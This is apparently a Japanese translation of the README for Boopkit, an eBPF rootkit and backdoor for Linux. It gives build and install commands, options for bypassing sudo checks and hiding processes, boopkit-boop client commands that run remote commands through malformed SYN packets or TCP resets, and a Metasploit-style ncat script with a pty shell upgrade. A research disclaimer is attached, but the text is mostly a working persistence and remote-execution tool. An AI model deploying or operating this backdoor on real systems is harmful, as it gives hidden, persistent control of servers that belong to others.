
Linux eBPFバックドア over TCP。リバースシェル、RCEを、事前の特権アクセス上で起動。Less Honkin, More Tonkin。
================================================================
██████╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗██╗████████╗
██╔══██╗██╔═══██╗██╔═══██╗██╔══██╗██║ ██╔╝██║╚══██╔══╝
██████╔╝██║ ██║██║ ██║██████╔╝█████╔╝ ██║ ██║
██╔══██╗██║ ██║██║ ██║██╔═══╝ ██╔═██╗ ██║ ██║
██████╔╝╚██████╔╝╚██████╔╝██║ ██║ ██╗██║ ██║
╚═════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝
作者: Kris Nóva <[email protected]> バージョン 1.4.0
いかなる場合でも、著作権者または貢献者は、
直接的、間接的、偶発的、特別、模範的、または結果的な損害に対して責任を負いません。
このツールを法律違反に使用しようとしないでください。
作者は違法行為について一切の責任を負いません。
ソフトウェア、情報、またはソースコードの誤用は、
刑事告発につながる可能性があります。
自己責任で使用してください。
================================================================
Boopkit. Linux ルートキットおよびバックドア。eBPF を使用して構築。
使用方法: boopkit [オプション]
オプション: -h, help boopkit のヘルプと使用方法を表示します。 -i, interface インターフェース名。lo、eth0、wlan0 など。 -s, sudo-bypass sudo チェックを回避します。PID 難読化が機能しなくなります。 -r, reverse-conn ペイロードが見つからない場合、リバース RCE ルックアップを試みます。 -q, quiet 出力を無効にします。 -x, reject トリガーを拒否する送信元アドレス。
Linux バックドア、ルートキット、および eBPF バイパスツール。
生の TCP 経由でのリモートコマンド実行。
- Linux カーネル 5.16 でテスト済み
- Linux カーネル 5.17 でテスト済み
- TCP (SSH、Nginx、Kubernetes など) 経由でのリモートコード実行
- ネットワークゲートウェイのバイパス (不正なチェックサム、TCP リセット)
- 実行時の自己難読化 (eBPF プロセス隠蔽)
##### 免責事項
> これは**エクスプロイトではありません**!動作させるにはサーバー上で事前に特権アクセスが必要です!
> 私はプロのセキュリティ研究者です。これらは研究目的のみに使用されるホワイトハットツールです。
> 責任を持って使用してください。このソフトウェアを違法に使用しないでください。

## サーバーサイド
boopkit をダウンロードしてビルドします。
```bash
wget https://github.com/kris-nova/boopkit/archive/refs/tags/v1.3.0.tar.gz
tar -xzf v1.3.0.tar.gz
cd boopkit-1.3.0/
make
sudo make install
フォアグラウンドで boopkit を実行します。
# ローカルホストおよび 10.0.0.1 からのすべての Boop を拒否
boopkit -x 127.0.0.1 -x 10.0.0.1
バックグラウンドで静かに boopkit を実行します。
# 危険!これは非常に停止が困難になる可能性があります!自己責任で実行してください!
boopkit -q &
Boopkit が実行中になり、クライアントツール boopkit-boop を使用して悪用可能になります。
boopkit をダウンロードしてビルドします。
wget https://github.com/kris-nova/boopkit/archive/refs/tags/v1.2.0.tar.gz
tar -xzf v1.2.0.tar.gz
cd boopkit-1.2.0/
make
sudo make install
サーバーに対して boopkit-boop を実行します。
# ===================
RCE="ls -la"
# ===================
LHOST="127.0.0.1"
LPORT="3535"
RHOST="127.0.0.1"
RPORT="22"
boopkit-boop \
-lhost $LHOST \
-lport $LPORT \
-rhost $RHOST \
-rport $RPORT \
-c "$RCE"
Boopkit はネットワーク上のさまざまなイベントに応答します。どちらも boopkit-boop ツールでトリガーできます。
TCP ヘッダーフォーマット。 RFC 793 より引用。1981年9月
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Source Port | Destination Port |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Sequence Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Acknowledgment Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Data | |U|A|P|R|S|F| |
| Offset| Reserved |R|C|S|S|Y|I| Window |
| | |G|K|H|T|N|N| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Checksum | Urgent Pointer |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Options | Padding |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
{ data }
{ .... }
{ data }
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
まず boopkit-boop ツールは、SOCK_RAW ソケットを使用して、空のチェックサムを持つ不正な TCP SYN パケットをサーバーに送信します。これにより、実行中の TCP サービスに関係なく、リモートで boopkit がトリガーされます。これは、TCP サービスの状態に関係なく、boopkit が実行されている任意の Linux サーバーで機能します。
最初のベクターのみを使用するには、boopkit-boop に -p を使用します。
⚠️ 一部の最新ネットワークハードウェアは、このベクターを使用して boopkit を悪用するために必要な、不正なチェックサムパケットをすべてドロップします!
次に boopkit-boop ツールは、SSH、Kubernetes、Nginx などのリモート TCP サービスに対して SOCK_STREAM ソケットで有効な TCP ハンドシェイクを完了します。最初の TCP ハンドシェイクが完了した後、boopkit-boop はこのプロセスを 2 回繰り返します。
2 回目のハンドシェイクでは、パケット内の TCP リセットフラグが反転され、サーバー上で TCP リセットがトリガーされます。
これらの戦術はいずれも、独立して boopkit をトリガーするのに十分です。 さまざまなネットワークハードウェアとランタイム条件により、どちらかの戦術がより有効になります。 Boopkit はデフォルトで両方を試行し、両方に応答します。
boopscript ファイルは Metasploit 互換のスクリプトで、boopkit-boop がリモートの Linux マシンにインストールされた後、リモートで boopkit バックドアをトリガーするために使用できます。
# boopscript
RHOST="127.0.0.1"
RPORT="22"
LHOST="127.0.0.1"
LPORT="3535"
NCAT="/usr/bin/ncat"
NCATLISTENPORT="3545"
libbpf に必要libxdp に必要python -c "import pty; pty.spawn('/bin/bash')"
元の作者による役立つコードサンプルに感謝します!このプロジェクトのために多くのコードをフォークしました!